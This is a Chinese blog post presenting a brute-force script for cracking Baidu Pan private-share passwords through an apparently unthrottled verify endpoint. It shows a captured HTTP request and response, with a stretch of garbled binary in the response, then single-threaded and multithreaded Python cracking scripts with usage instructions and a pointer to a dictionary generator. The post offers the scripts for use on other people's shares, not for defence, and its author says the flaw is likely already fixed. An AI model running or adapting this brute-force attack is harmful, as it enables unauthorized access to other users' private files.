百度云私密分享多线程破解脚本

0x01 原理

百度云私密分享默认是4个字符的密码，直接破解输入几次以后就需要验证码。在这篇文章中介绍了百度云存在可以无限制破解密码的接口。原理就是不断用字典去测试存在漏洞的接口，如果密码正确的话，就会直接set-cookie。

发包：

POST /share/verify?shareid=2411134184&uk=1279847105&t=1447290671171&channel=chunlei&clienttype=0&web=1 HTTP/1.1
Accept: */*
Referer: http://pan.baidu.com/share/verify?shareid=2411134184&uk=1279847105&t=1447290671171&channel=chunlei&clienttype=0&web=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pan.baidu.com
Content-Length: 8
Cache-Control: no-cache
Cookie: BAIDUID=7C656DB6FB750E5B8EFA7D0F522D20E6:FG=1; PANWEB=1; Hm_lvt_adf736c22cd6bcc36a1d27e5af30949e=1444112574; Hm_lvt_773fea2ac036979ebb5fcc768d8beb67=1444112574

pwd=26ms

如果密码正确，就set-cookie

如果密码不对，就不会set BDCLND的cookie值

HTTP/1.1 200 OK
Date: Thu, 12 Nov 2015 01:10:38 GMT
Content-Type: application/json; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
yld: 397079040441508773
X-Powered-By: PHP/5.4.24
Set-Cookie: BDCLND=9oT54bqhvp2AXC06i5UrIsA30BGIl%2Fzjpuex2cSH50c%3D; expires=Sat, 12-Dec-2015 01:10:38 GMT; path=/; domain=pan.baidu.com
Cache-Control: no-cache
Pragma: no-cache
yme: ZIGW/iYrV0kMaDwYTmvhrmlXvvkXVAb3oAhPyyc=
Server: nginx

3e
  

{"errno":0,"err_msg":"","request_id":7314608073451299749}
0

.....aA....V2..................7B}....A.&S..m.......................o../.......O.$..<..U.kB.a%...k.bN.j...D.X-5O\......................W.^../.N......A...................Q../.N......A.....................WVD.y.......[..S................WVD8........[..S................................................................................................s.... s..*i.........c\t4...G.g^[email protected]\t4...G.g^..p.1

所以脚本编写就比较简单，只要发送没有 cookie的包一个个去尝试这个接口，查看返回的 set-cookie里面的内容有没有 "BDCLND="，如果有就爆破成功。

0x02 脚本的编写

单线程脚本网站给出了

#!/usr/bin/env python
#coding:utf-8
__author__ = 'mtfly'

import requests
import string
import re
import sys


def main():
	url = "http://pan.baidu.com/share/link?shareid=2411134184&uk=1279847105"
	url = url.replace("link", "verify").replace("init", "verify")
	headers = {
	"Content-Type": "application/x-www-form-urlencoded"
	}
	payload = "26ms"
	f = open('dic.txt', "r")
	for payload in f.readlines():
		payload = payload.strip('\n')
		print payload
		payload = "pwd=" + payload
		res = requests.post(url=url, data=payload, headers=headers)
		a = res.headers["set-cookie"]
		if "BDCLND=" in a:
			print "OK"
			f = open("out.txt", "w+")
			f.write(payload)
			f.close
			exit()
	f.close()

main()

虽然只有四个字符，但是是有26个小写字符加上10个数字组成的，生成的四个字符个数也有1679616个，单线程破解也还是慢，所以笔者自己重写了一个多线程版本的，直接贴代码。

#/usr/bin/env python
#conding=utf8

__author__ = 'he1m4n6a'
__doc__ = 'brute baidu yunpan privacy share use multi threads'

import requests
import string
import re
import sys
import threading
from Queue import Queue

class Cframe:
    def __init__(self, url, f, thread_num):
        self.url = url
        self.f = f
        self.thread_num = thread_num

    def scan(self):
        queue = Queue()
        for i in xrange(self.thread_num):
            worker = BdThread(queue, self.url)
            worker.daemon = True
            worker.start()
        for line in self.f.readlines():
            queue.put(line.strip('\n'))

        queue.join()

class BdThread(threading.Thread):
    def __init__(self, queue, url):
        threading.Thread.__init__(self)
        self.queue = queue
        self.url = url
    def run(self):
        url = self.url.replace("link", "verify").replace("init", "verify")
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        while True:
            dic = self.queue.get()
            payload = "pwd=" + dic
            try:
                res = requests.post(url=url, data=payload, headers=headers)
                a = res.headers["set-cookie"]
                if "BDCLND=" in a:
                    fo = open('out.txt','w')
                    mlock = threading.Lock()
                    mlock.acquire()
                    print "[+]OK, password is %s" %dic
                    fo.write(payload)
                    mlock.release()
                    fo.close()
                else:
                    #mlock = threading.Lock()
                    #mlock.acquire()
                    #print '[-]%s' %dic
                    #mlock.release()
                    pass
            except Exception, e:
                #mlock = threading.Lock()
                #mlock.acquire()
                #print "[-]connect error"
                #mlock.release()
                pass
            self.queue.task_done() 

def main():
    if len(sys.argv) < 2:
        print '''usage:
    python multiBruteYP.py url thread_num'''         
        sys.exit()
    elif len(sys.argv) == 2:
        url = sys.argv[1]
        thread_num = 20
    else:
        url = sys.argv[1]
        thread_num = int(sys.argv[2])
    f = open('dic.txt','r')
    cf = Cframe(url, f, thread_num)
    cf.scan()
    f.close()

if __name__ == '__main__':
    main()

 脚本下载

用法

python mutliBruteYP.py "http://pan.baidu.com/share/init?shareid=1111111111&uk=11111111111" 50

第一个参数是私密分享的链接

第二个参数是线程数，默认20线程

运行截图

生成 dic.txt 字典，可以用笔者写的genPass，一款生成字典的工具。根据终端输入字符串生成4字符字典

具体用法可以参考:

https://github.com/he1m4n6a/easyPass/blob/master/README.md

生成的字典下载

现漏洞估计已修复，毕竟见光死